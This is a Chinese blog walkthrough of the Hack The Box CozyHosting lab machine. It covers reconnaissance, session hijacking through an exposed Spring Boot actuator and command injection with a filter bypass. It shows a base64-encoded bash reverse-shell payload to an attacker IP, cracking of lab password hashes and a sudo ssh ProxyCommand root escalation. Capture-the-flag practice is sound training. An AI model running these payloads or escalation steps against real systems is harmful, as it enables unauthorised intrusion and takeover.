HTB CozyHosting WP

CozyHosting WP

Hint:目录爆破、信息泄露、RCE
难度:Easy

在这里插入图片描述

0x1 信息收集

首先利用nmap扫描一下对靶机目标进行端口探测,nmap -p- --min-rate 1000 -oN port 10.10.11.230进行扫描。
在这里插入图片描述
经典22和80开局,将扫描得到的端口进行详细的端口扫描、服务版本探测等。nmap -p 22,80,909,6146,9981,11584,15769,21390,22278,23542,40252,44667,44887,45957,56894 -sS -sV -sC -oN nmap 10.10.11.230。扫描也没有发现那些filtered端口开放。
在这里插入图片描述
直接使用IP访问web服务发现被永久重定向到了cozyhosting.htb,于是将去写入到/etc/hosts文件中去。在web站点中,只存在一个登录页面,尝试sql注入失败,于是进行目录扫描。
在这里插入图片描述
使用dirsearch进行扫描,dirsearch -u http://cozyhosting.htb/ -e php,html
在这里插入图片描述

0x2 web漏洞探测

在目录扫描中可以发现存在actuator目录,存在三个比较特殊的文件,分别是sessions,mappings和env,然后访问这些路径。其中actuator是spring boot的一个程序监视器,因此可以判断该站点使用的是该框架。
/session
在这里插入图片描述
/env
在这里插入图片描述
/mappings
在这里插入图片描述
发现sessions中泄露了已经登录用户的session信息,可以通过该session登录到kanderson。并且在mapping中发现了一个executessh路径,看似好像具有命令执行功能,但是POST的参数并没有发现。
通过bp修改请求头的JESSIONS字段的值,正常登录到admin用户界面。
在这里插入图片描述
登录后发现/admin页面中存在一个使用SSH和密钥进行添加远程主机的功能,这里填写以下hostname和username,发现返回一个ssh登录超时的报错信息。
在这里插入图片描述
通过bp的历史数据包可以发现其路由是在mappings发现的/executessh,提交的参数是host和username。通过测试发现可以在username处进行RCE。经过测试发现这个路径还没有做鉴权处理,非admin用户也可以执行命令。
在这里插入图片描述

0x3 RCE反弹shell

经过测试发现对host和username均做了过滤处理,但是在username处只是不能包含空格,可以使用%0a和%09等URL编码绕过空格过滤。于是构造payload反弹shell。
payload:
{echo,YmFzaCAtaT4mIC9kZXYvdGNwLzEwLjEwLjE0LjExMC80NDU1IDA+JjEK}|{base64,-d}|bash
将该payload进行URL编码发送,成功反弹shell。
在这里插入图片描述
并发现了web服务部署的jar包,下载下来,使用jadx-gui进行反编译,通过分析代码发现此处是调用Runtime.getRuntime().exec实现系统命令执行的。
在这里插入图片描述
并从代码中获取到postgres和kanderson用户密码:
kanderson:MRdEQuv6~6P9
postgres:Vg&nvzAQ7XxR

在这里插入图片描述
在这里插入图片描述
其中postgres也是靶机目标中的一个正常用户,是运行postgresql的用户。通过查查看/etc/passwd可以发现还存在josh普通用户。
在这里插入图片描述

0x4 postgresql登录+john爆破密码

这里使用得到密码尝试登录到postgres用户失败了,于是尝试连接数据库。发现靶机环境中存在postgresql数据库连接工具psql,尝试连接数据库。
在这里插入图片描述
使用psql -U postgres -W -h localhost连接,根据提示输入密码后连接成功。
在这里插入图片描述
使用\l查看所有的数据库,\c连接到web服务器使用的数据库cozyhosting,\d查看所有的表
在这里插入图片描述
在这里插入图片描述

通过查询得到两个用户名的密码hash值,这里我们已经知道了kanderson用户的密码,因此只要对admin账号的密码进行爆破就行了。

 kanderson $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim 
 admin:$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm 

将admin的保存到文件中,使用john进行hash爆破。爆破出密码:manchesterunited
在这里插入图片描述
使用爆破得到的密码进行复用,尝试登录到普通用户josh并登录成功,得到user.txt。
在这里插入图片描述

0x5 Sudo提权root

为了得到一个更好的交互环境,使用ssh登录到josh用户上去。使用sudo -l发现ssh具有免密使用root权限运行,于是使用ssh成功得到root权限。
在这里插入图片描述
在这里插入图片描述
使用sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x成功提权到root
在这里插入图片描述

参考资料:
ssh sudo提权
PostgreSQL psql两种登录方式
PostgreSQL操作-psql基本命令

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值